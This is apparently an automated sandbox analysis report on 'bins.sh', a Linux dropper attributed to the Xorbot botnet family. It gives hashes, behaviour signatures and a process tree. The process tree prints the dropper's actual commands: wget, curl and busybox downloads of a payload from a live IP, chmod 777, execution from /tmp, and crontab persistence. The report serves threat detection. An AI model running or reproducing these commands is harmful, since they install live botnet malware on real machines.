Analysis
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max time kernel
149s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
05/12/2024, 08:37
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
d32474a35e8f1f0273df0472abcffbd1
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SHA1
7050456a281a217032b8081dc2fecde1dd47d39a
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SHA256
d67a7469745e36651000846e5d70e0ac0a7859f1b85ceb651233cfb6ad469f59
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SHA512
1420ac3b05b7dbaee44d19c3ba64415fe46db9f61e5c552939ea6354e5df6a5a704e9c9cdc33c84c08836d7092cb0e74305970dfd54eb31a85cbda87b91acdf6
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SSDEEP
96:nI3vGLKKLHEkGNhIZC8OVLX7tW63nYClcRWd3vGXEKEkGNh3sZCoKOrXL4VLX7wJ:nLKKLXZC5fW63nYCWpZCbh3nYYC
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot -
Xorbot family
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Contacts a large (2192) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1489 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks 1490 XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks -
Renames itself 1 IoCs
pid Process 1491 XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.uPPabz crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/1171/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1519/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1667/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/154/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1182/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1526/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1567/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1682/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1672/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/5/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1255/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1555/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1568/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1595/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1553/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1563/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1575/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/21/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/115/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/461/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/956/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1506/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1602/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1641/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1662/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1534/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1542/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1566/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/491/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/578/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1111/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1179/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1523/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1645/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1658/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1684/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1581/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1639/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/334/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/632/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1073/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1157/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1470/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1036/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1175/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1340/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/4/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/13/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/85/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/267/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/484/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1529/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1564/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1644/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/170/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/467/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/517/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1530/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1683/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/716/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1531/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1609/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1646/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/668/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks wget File opened for modification /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks curl File opened for modification /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1472
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/bin/rm/bin/rm bins.sh2⤵PID:1473
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/usr/bin/wgetwget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- Writes file to tmp directory
PID:1474
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/usr/bin/curlcurl -O http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- Writes file to tmp directory
PID:1487
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- Writes file to tmp directory
PID:1488
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/bin/chmodchmod 777 XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- File and Directory Permissions Modification
PID:1489
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/tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks./XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1490 -
/bin/shsh -c "crontab -l"3⤵PID:1492
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/usr/bin/crontabcrontab -l4⤵PID:1493
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/bin/shsh -c "crontab -"3⤵PID:1494
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1495
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/bin/rmrm XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵PID:1505
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/usr/bin/wgetwget http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H72⤵PID:1508
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
210B
MD5d6ef47ee7c6e3d700f70db12522aa043
SHA17b2cb227608abaca19b1f392c71e50fbc6ea1729
SHA25697d8ca4e545d1ea2e9ebfb266a05dc0f150d0388643f95c65fa0cfd6984b916c
SHA51238a72a8dd0eb56d6414347aacc8b3684b5e7a5df8b267f94ad80977d93a74cff75877283632ba594a20c593c91b72bc635aeabb432fc9b6f51a87474d47f7652